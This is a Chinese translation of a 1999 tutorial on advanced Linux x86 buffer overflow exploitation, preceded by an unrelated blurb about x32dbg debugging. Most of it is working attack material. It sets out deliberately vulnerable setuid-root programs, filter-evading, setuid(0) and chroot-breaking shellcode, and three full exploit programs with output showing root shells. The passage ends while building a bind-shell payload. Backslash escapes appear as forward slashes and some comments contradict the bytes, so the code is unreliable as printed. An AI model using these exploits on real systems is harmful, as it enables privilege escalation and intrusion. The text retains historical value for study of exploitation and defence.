【原理】高级缓冲溢出的使用

x32dbg内存断点实战:原理、操作与逆向调试高级技巧 在软件调试领域,断点是定位问题的核心工具。传统代码断点通过修改指令实现,但在无源码、反调试或需监控数据访问的场景下往往失效。内存断点基于CPU调试寄存器或操作系统内存页保护机制,能在不修改代码的前提下,监控特定内存地址的读、写或执行操作,其原理涉及硬件异常与内存管理单元(MMU)的协同。这项技术对于诊断野指针、缓冲区溢出及第三方库崩溃等棘手问题具有极高价值,尤其在逆向工程和漏洞分析中不可或缺。本文以x32dbg为操作环境,深入剖析内存断点的工作机制,演示如何利用其追踪全局变量修改、分析数据结构,并结合硬件断 阅读详情
高级缓冲溢出的使用

整理:dspman,Solo,backend
日期:1999-12-14

Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
----------------------------------------------------------------------------


1.介绍

现今存在着好几种缓冲区溢出的代码程序。早期的缓冲区溢出程序功能比较简单,往往
是仅仅(通过执行 /bin/sh)获得一个 shell 。但是现今的缓冲区溢出程序已具备更
多样化的方法,如绕过过滤器限制、建立套接字、突破chroot等等。这里我们主要介绍
基于(intel x86)Linux下缓冲区溢出编程中一些较为高级的使用技巧。


2.预备知识

你必须了解汇编语言、C语言还有Linux。当然,你还必须知道缓冲区溢出是怎么一回事。
我们站点上有关于缓冲溢出的机理分析可供你参考。你也可以从phrak杂志的49-14找到
有关的缓冲区溢出的的资料(英文)。


3.绕过过滤器限制

许多程序存在缓冲区溢出问题。但是为什么并非所有的缓冲区溢出程序都能被用于获得
shell 呢?这是因为即使某个程序具备了缓冲区溢出的条件,也许仍然很难攻击成功。
在许多情况下是由于程序过滤了一些字符或者把一些字符转变为另一些字符。如果一个
程序过滤了所有的非打印字符,溢出漏洞就几乎不可利用了。但如果程序只过滤了部分
的字符,那你可以通过编写巧妙的缓冲区溢出代码来绕过通过这些过滤机制。:)

3.1 被攻击的例程

vulnerable1.c
----------------------------------------------------------------------------
#include<string.h>
#include<ctype.h>

int main(int argc,int **argv)
{
    char buffer[1024];
    int i;
    if(argc>1)
    {
        for(i=0;i<strlen(argv[1]);i++)
            argv[1][i]=toupper(argv[1][i]);
        strcpy(buffer,argv[1]);
    }
}
----------------------------------------------------------------------------

这段程序很简单,只完成将用户输入的小写的字母转换为大写的字母。所以,你必须编
写一个不包含任何小写字母的shellcode。如何才能做到呢?需要注意的是,我们必
须面对诸如"/bin/sh"必须是小写的事实。但事实上,我们确实可以做到这一点。:)

3.2 修改常规的shellcode

几乎所有的缓冲区溢出代码使用如下的shellcode。现在你要做的事是把所有的小写字母
从shellocode里去掉。当然,新的shellcode也要使我们获得shell。

常规的shellcode
----------------------------------------------------------------------------
char shellcode[]=
    "/xeb/x1f" /* jmp 0x1f */
    "/x5e" /* popl %esi */
    "/x89/x76/x08" /* movl %esi,0x8(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x88/x46/x07" /* movb %eax,0x7(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xd8" /* movl %ebx,%eax */
    "/x40" /* inc %eax */
    "/xcd/x80" /* int $0x80 */
    "/xe8/xdc/xff/xff/xff" /* call -0x24 */
    "/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------

这段shellcode里包含6个小写字母。(5个在"/bin/sh"里面,1个在"movl %esi,0x8(%esi)"
里)。我们不能直接使用"/bin/sh",因为它会被过滤掉。但是可以在其中插入任意的非
小写字符。也就是说,可以插入"/x2f/x12/x19/x1e/x2f/x23/x18"来代替"/x2f/x62/x69
/x6e/x2f/x73/x68" ( "/bin/sh" )。但是在缓冲区溢出后,我们必须把"/x2f/x12/x19
/x1e/x2f/x23/x18"变成"/x2f/x62/x69/x6e/x2f/x73/x68",这样才可以执行"/bin/sh"。
我们可以通过在SHELLCODE执行时加/x50使/x62,/x69,/x6e,/x73和/x68成为执行代码。
但是如何隐藏在指令"movl %esi,0x8(%esi)"中的/x76呢?可以把"movl %esi,0x8(%esi)"
等效为其他不包含小写字母的指令。比如"movl %esi,0x8(%esi)"能够变成为
"movl %es.,%eax","addl $0x8,%eax","movl %eax,0x8(%esi)"这个指令序列。当然这也
可以用其他的指令来完成,只要改变后的指令中不包含任何小写字母。
以下是经过修改的shellcode

----------------------------------------------------------------------------
char shellcode[]=
    "/xeb/x38" /* jmp 0x38 */
    "/x5e" /* popl %esi */
    "/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
    "/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
    "/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
    "/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
    "/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
    "/x89/xf0" /* movl %esi,%eax */
    "/x83/xc0/x08" /* addl $0x8,%eax */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x88/x46/x07" /* movb %eax,0x7(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xd8" /* movl %ebx,%eax */
    "/x40" /* inc %eax */
    "/xcd/x80" /* int $0x80 */
    "/xe8/xc3/xff/xff/xff" /* call -0x3d */
    "/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
    /* /bin/sh is disguised */
----------------------------------------------------------------------------

3.3 使用攻击程序

利用以上shellcode,可以非常轻松地编写出溢出漏洞攻击代码。

exploit1.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
    "/xeb/x38" /* jmp 0x38 */
    "/x5e" /* popl %esi */
    "/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
    "/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
    "/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
    "/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
    "/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
    "/x89/xf0" /* movl %esi,%eax */
    "/x83/xc0/x08" /* addl $0x8,%eax */
    "/x89/x46/x08" /* movl %eax,0x8(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x88/x46/x07" /* movb %eax,0x7(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xd8" /* movl %ebx,%eax */
    "/x40" /* inc %eax */
    "/xcd/x80" /* int $0x80 */
    "/xe8/xc3/xff/xff/xff" /* call -0x3d */
    "/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
    /* /bin/sh is disguised */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

main(int argc,char **argv)
{
    char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
    long addr;
    unsigned long sp;
    int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
    int i;

    if(argc>1)
        offset=atoi(argv[1]);

    sp=get_sp();
    addr=sp-offset;

    for(i=0;i<bsize;i+=4)
    {
        buff[i+ALIGN]=(addr&0x000000ff);
        buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
        buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
        buff[i+ALIGN+3]=(addr&0xff000000)>>24;
    }

    for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
        buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
    for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];

    buff[bsize-1]='/0';

    printf("Jump to 0x%08x/n",addr);

    execl("./vulnerable1","vulnerable1",buff,0);
}
----------------------------------------------------------------------------

运行结果如下:

----------------------------------------------------------------------------
[ user@host ~ ] {1} $ ls -l vulnerable1
-rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1*
[ user@host ~ ] {2} $ ls -l exploit1
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1*
[ user@host ~ ] {3} $ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[ user@host ~ ] {4} $ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------

3.4 技巧用途

利用这个技巧,我们可以绕过各种系统不同的过滤机制。当被攻击程序过滤了!@#$%^&*()
时,我们可以编制一个新的shellcode,使之不包含!@#$%^&*()。然而,如果程序过滤了
更多字符,编制shellcode也会变得更加困难。


4. 改变uid为0

setuid成为root的程序是在运行时具有root权限的的程序,一直是被认为安全的一个隐
患。因为它在执行过成中调用了seteuid(0)。许多程序员认为使用seteuid(getuid())
会更安全些,但事实并非如此,用户标识(uid)还是可以变为0。:)

4.1 被攻击的例程

vulnerable2.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>

int main(int argc,char **argv)
{
    char buffer[1024];
    seteuid(getuid());
    if(argc>1)
        strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------

这个程序从一开始就调用seteuid(getuid())。所以,可以认为后面的
"strcpy(buffer,argv[1]);"是没有问题的。因为即使成功地实现了缓冲区溢出攻击,我
们也只能得到自己的shell。不过,如果在shellcode中加入含有setuid(0)的调用,不就能
够得到root的shell了吗?:)

4.2 编制setuid(0)代码

setuidasm.c
----------------------------------------------------------------------------
main()
{
    setuid(0);
}
----------------------------------------------------------------------------

然后编译和反汇编

----------------------------------------------------------------------------
[ user@host ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
[ user@host ~ ] {2} $ gdb setuidasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

setuid(0); code
----------------------------------------------------------------------------
char code[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/xb0/x17" /* movb $0x17,%al */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

4.3 修改常规的shellcode

现在只要在常规的shellcode的开头处,插入我们setuid(0)代码就得到了一个新的shellcode。

新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/xb0/x17" /* movb $0x17,%al */
    "/xcd/x80" /* int $0x80 */
    "/xeb/x1f" /* jmp 0x1f */
    "/x5e" /* popl %esi */
    "/x89/x76/x08" /* movl %esi,0x8(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x88/x46/x07" /* movb %eax,0x7(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xd8" /* movl %ebx,%eax */
    "/x40" /* inc %eax */
    "/xcd/x80" /* int $0x80 */
    "/xe8/xdc/xff/xff/xff" /* call -0x24 */
    "/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------

4.4 攻击程序

用下面的shellcode,你可以很方便的使用代码.

exploit2.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/xb0/x17" /* movb $0x17,%al */
    "/xcd/x80" /* int $0x80 */
    "/xeb/x1f" /* jmp 0x1f */
    "/x5e" /* popl %esi */
    "/x89/x76/x08" /* movl %esi,0x8(%esi) */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x88/x46/x07" /* movb %eax,0x7(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xdb" /* xorl %ebx,%ebx */
    "/x89/xd8" /* movl %ebx,%eax */
    "/x40" /* inc %eax */
    "/xcd/x80" /* int $0x80 */
    "/xe8/xdc/xff/xff/xff" /* call -0x24 */
    "/bin/sh"; /* .string /"/bin/sh/" */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
    char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
    long addr;
    unsigned long sp;
    int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
    int i;

    if(argc>1)
        offset=atoi(argv[1]);

    sp=get_sp();
    addr=sp-offset;

    for(i=0;i<bsize;i+=4)
    {
        buff[i+ALIGN]=(addr&0x000000ff);
        buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
        buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
        buff[i+ALIGN+3]=(addr&0xff000000)>>24;
    }

    for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
        buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
    for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];

    buff[bsize-1]='/0';

    printf("Jump to 0x%08x/n",addr);

    execl("./vulnerable2","vulnerable2",buff,0);
}
----------------------------------------------------------------------------

运行结果

----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable2
-rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2*
[ user@hosts ~ ] {2} $ ls -l exploit2
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2*
[ user@hosts ~ ] {3} $ ./exploit2
Jump to 0xbfffec64
Illegal instruction
[ user@hosts ~ ] {4} $ ./exploit2 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------

4.5 技巧用途

如果你用一般的溢出攻击方法对一个具有溢出漏洞的程序攻击只能得到自己的shell,那
可以考虑这种方法。


5. 突破chroot

如果setuid成为root的程序具有chroot的特性,那就只能访问被chroot保护的目录。而
不能访问真正的根目录。但是,通过在shellcode里把root的目录变为"/",你仍旧可以
访问任意的目录。:)

5.1 被攻击的例程

vulnerable3.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>

int main(int argc,char **argv)
{
    char buffer[1024];
    chroot("/home/ftp");
    chdir("/");
    if(argc>1)
        strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------

如果我们试图利用溢出执行"/bin/sh",它将有可能执行"/home/ftp/bin/sh"(如果存在
的话),而且我们不能访问除"/home/ftp"外的其他的目录。

5.2 编制突破chroot代码

如果你能执行下面的代码,你就可以突破chroot.

breakchrootasm.c
----------------------------------------------------------------------------
main()
{
    mkdir("sh",0755);
    chroot("sh");
    /* many "../" */
    chroot("../../../../../../../../../../../../../../../../");
}
----------------------------------------------------------------------------

这段程序建立了一个"sh"的目录,因为它是经常被用的。(它被经常用来执行 "/bin/sh" )

编译和反汇编

----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ user@hosts ~ ] {2} $ gdb breakchrootasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble mkdir
Dump of assembler code for function __mkdir:
0x804cac0 <__mkdir>: movl %ebx,%edx
0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx
0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx
0x804caca <__mkdir+10>: movl $0x27,%eax
0x804cacf <__mkdir+15>: int $0x80
0x804cad1 <__mkdir+17>: movl %edx,%ebx
0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax
0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error>
0x804cade <__mkdir+30>: ret
0x804cadf <__mkdir+31>: nop
End of assembler dump.
(gdb) disassemble chroot
Dump of assembler code for function chroot:
0x804cb60 <chroot>: movl %ebx,%edx
0x804cb62 <chroot+2>: movl 0x4(%esp,1),%ebx
0x804cb66 <chroot+6>: movl $0x3d,%eax
0x804cb6b <chroot+11>: int $0x80
0x804cb6d <chroot+13>: movl %edx,%ebx
0x804cb6f <chroot+15>: cmpl $0xfffff001,%eax
0x804cb74 <chroot+20>: jae 0x804cc40 <__syscall_error>
0x804cb7a <chroot+26>: ret
0x804cb7b <chroot+27>: nop
0x804cb7c <chroot+28>: nop
0x804cb7d <chroot+29>: nop
0x804cb7e <chroot+30>: nop
0x804cb7f <chroot+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

mkdir("sh",0755); code
----------------------------------------------------------------------------
    /* 建立目录的第一个参数是 %ebx 第二个参数是%ecx. */
char code[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/xb0/x17" /* movb $0x27,%al */
    "/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
    /* 在用该指令前,%esi 已经装入了"/bin/sh"的地址 */
    /* 该指令会装载 "sh" 的地址,并存储在%ebx */
    "/xfe/xc5" /* incb %ch */
    /* %cx = 0000 0001 0000 0000 */
    "/xb0/x3d" /* movb $0xed,%cl */
    /* %cx = 0000 0001 1110 1101 */
    /* %cx = 000 111 101 101 */
    /* %cx = 0 7 5 5 */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

chroot("sh"); code
----------------------------------------------------------------------------
    /* chroot的第一个参数是 ebx */
char code[]=
    "/x31/xc0" /* xorl %eax,%eax */
    "/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
    "/xb0/x3d" /* movb $0x3d,%al */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

chroot("../../../../../../../../../../../../../../../../"); code
----------------------------------------------------------------------------
char code[]=
    "/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
    /* 经过伪装的 "../" 字符串 */
    "/xf7/xdb" /* negl %ebx */
    /* %ebx = $0x002f2e2e */
    /* intel x86 is little endian. */
    /* %ebx = "../" */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/xb1/x10" /* movb $0x10,%cl */
    /* 准备循环16次. */
    "/x56" /* pushl %esi */
    /* 备份当前的 %esi. %esi 有"/bin/sh" 的指针. */
    "/x01/xce" /* addl %ecx,%esi */
    "/x89/x1e" /* movl %ebx,(%esi) */
    "/x83/xc6/x03" /* addl $0x3,%esi */
    "/xe0/xf9" /* loopne -0x7 */
    /* 使字符串 "../../../../ . . . " 在0x10(%esi)处循环 */
    "/x5e" /* popl %esi */
    /* 重置 %esi. */
    "/xb0/x3d" /* movb $0x3d,%al */
    "/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
    /* "../../../../ . . . "的地址为 %ebx . */
    "/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------

5.3 修改常规的shellcode

将我们编制的突破chroot的代码放到常规shellcode的开头,然后修改jmp和call的参数。

新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
    "/xeb/x4f" /* jmp 0x4f */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/x5e" /* popl %esi */
    "/x88/x46/x07" /* movb %al,0x7(%esi) */
    "/xb0/x27" /* movb $0x27,%al */
    "/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
    "/xfe/xc5" /* incb %ch */
    "/xb1/xed" /* movb $0xed,%cl */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
    "/xb0/x3d" /* movb $0x3d,%al */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
    "/xf7/xdb" /* negl %ebx */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/xb1/x10" /* movb $0x10,%cl */
    "/x56" /* pushl %esi */
    "/x01/xce" /* addl %ecx,%esi */
    "/x89/x1e" /* movl %ebx,(%esi) */
    "/x83/xc6/x03" /* addl %0x3,%esi */
    "/xe0/xf9" /* loopne -0x7 */
    "/x5e" /* popl %esi */
    "/xb0/x3d" /* movb $0x3d,%al */
    "/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x76/x08" /* movl %esi,0x8(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/xe8/xac/xff/xff/xff" /* call -0x54 */
    "/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------

5.4 攻击程序3

exploit3.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
    "/xeb/x4f" /* jmp 0x4f */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/x5e" /* popl %esi */
    "/x88/x46/x07" /* movb %al,0x7(%esi) */
    "/xb0/x27" /* movb $0x27,%al */
    "/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
    "/xfe/xc5" /* incb %ch */
    "/xb1/xed" /* movb $0xed,%cl */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
    "/xb0/x3d" /* movb $0x3d,%al */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
    "/xf7/xdb" /* negl %ebx */
    "/x31/xc9" /* xorl %ecx,%ecx */
    "/xb1/x10" /* movb $0x10,%cl */
    "/x56" /* pushl %esi */
    "/x01/xce" /* addl %ecx,%esi */
    "/x89/x1e" /* movl %ebx,(%esi) */
    "/x83/xc6/x03" /* addl %0x3,%esi */
    "/xe0/xf9" /* loopne -0x7 */
    "/x5e" /* popl %esi */
    "/xb0/x3d" /* movb $0x3d,%al */
    "/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
    "/xcd/x80" /* int $0x80 */
    "/x31/xc0" /* xorl %eax,%eax */
    "/x89/x76/x08" /* movl %esi,0x8(%esi) */
    "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
    "/xb0/x0b" /* movb $0xb,%al */
    "/x89/xf3" /* movl %esi,%ebx */
    "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
    "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
    "/xcd/x80" /* int $0x80 */
    "/xe8/xac/xff/xff/xff" /* call -0x54 */
    "/bin/sh"; /* .string /"/bin/sh/" */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
    char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
    long addr;
    unsigned long sp;
    int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
    int i;

    if(argc>1)
        offset=atoi(argv[1]);

    sp=get_sp();
    addr=sp-offset;

    for(i=0;i<bsize;i+=4)
    {
        buff[i+ALIGN]=(addr&0x000000ff);
        buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
        buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
        buff[i+ALIGN+3]=(addr&0xff000000)>>24;
    }

    for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
        buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
    for(i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode[i];

    buff[bsize-1]='/0';

    printf("Jump to 0x%08x/n",addr);

    execl("./vulnerable3","vulnerable3",buff,0);
}
----------------------------------------------------------------------------

运行结果

----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable3
-rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3*
[ user@hosts ~ ] {2} $ ls -l exploit3
-rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3*
[ user@hosts ~ ] {3} $ ./exploit3
Jump to 0xbfffec68
Segmentation fault
[ user@hosts ~ ] {4} $ ./exploit3 500
Jump to 0xbfffea74
Segmentation fault
[ user@hosts ~ ] {5} $ ./exploit3 -500
Jump to 0xbfffee5c
bash# whoami
root
bash# pwd
/home/ftp
bash# cd /
bash# pwd
/
bash# ls
afs boot etc home lost+found mnt root tmp var
bin dev export lib misc proc sbin usr
bash#
----------------------------------------------------------------------------

5.5 技巧用途

使用缓冲区溢出攻击一个chrooted setuid的程序,你将不能访问root目录。但是,你可
以用这项技术访问所有的路径。:)


6. 建立套接字(socket)连接

如果我们攻击一个存在缓冲区溢出漏洞的守护程序,会使它崩溃。因此在大多数情况下,
我们必须先执行一个shell,然后打开一个套接字端口,再利用标准I/O建立连接。否则,
不可能获得所需的shell。即使得到了shell,由于该守护程序已经崩溃,我们也无法执
行任何指令,所以,必须编制更为复杂的shellcode,用于与我们的机器建立连接。

6.1 攻击的例程

----------------------------------------------------------------------------
#include<string.h>

int main(int argc,char **argv)
{
    char buffer[1024];
    if(argc>1)
        strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------

这是一个标准的存在溢出漏洞的程序.我们用它来验证如何编写打开一个socket连接的
shellcode。但我们太懒了,都不想编写守护例程.:-)
但是我敢保证,看完以下代码后,你一定不会失望。:)

6.2 编制建立套接字的代码

以下是可以建立套接字的程序。

opensocketasm1.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;

int main()
{
    if(fork()==0)
    {
        serv_addr.sin_family=AF_INET;
        serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
        serv_addr.sin_port=htons(30464);
        soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
        listen(soc,1);
        soc_len=sizeof(cli_addr);
        cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
        dup2(cli,0);
        dup2(cli,1);
        dup2(cli,2);
        execl("/bin/sh","sh",0);
    }
}
----------------------------------------------------------------------------

使用汇编语言来写的话代码会不一样。你可以把上面的程序写得更简单点。

opensocketasm2.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
    if(fork()==0)
    {
        serv_addr.sin_family=2;
        serv_addr.sin_addr.s_addr=0;
        serv_addr.sin_port=0x77;
        soc=socket(2,1,6);
        bind(soc,(struct sockaddr *)&serv_addr,0x10);
        listen(soc,1);
        cli=accept(soc,0,0);
        dup2(cli,0);
        dup2(cli,1);
        dup2(cli,2);
        execl("/bin/sh","sh",0);
    }
}
----------------------------------------------------------------------------

编译和反汇编结果

----------------------------------------------------------------------------
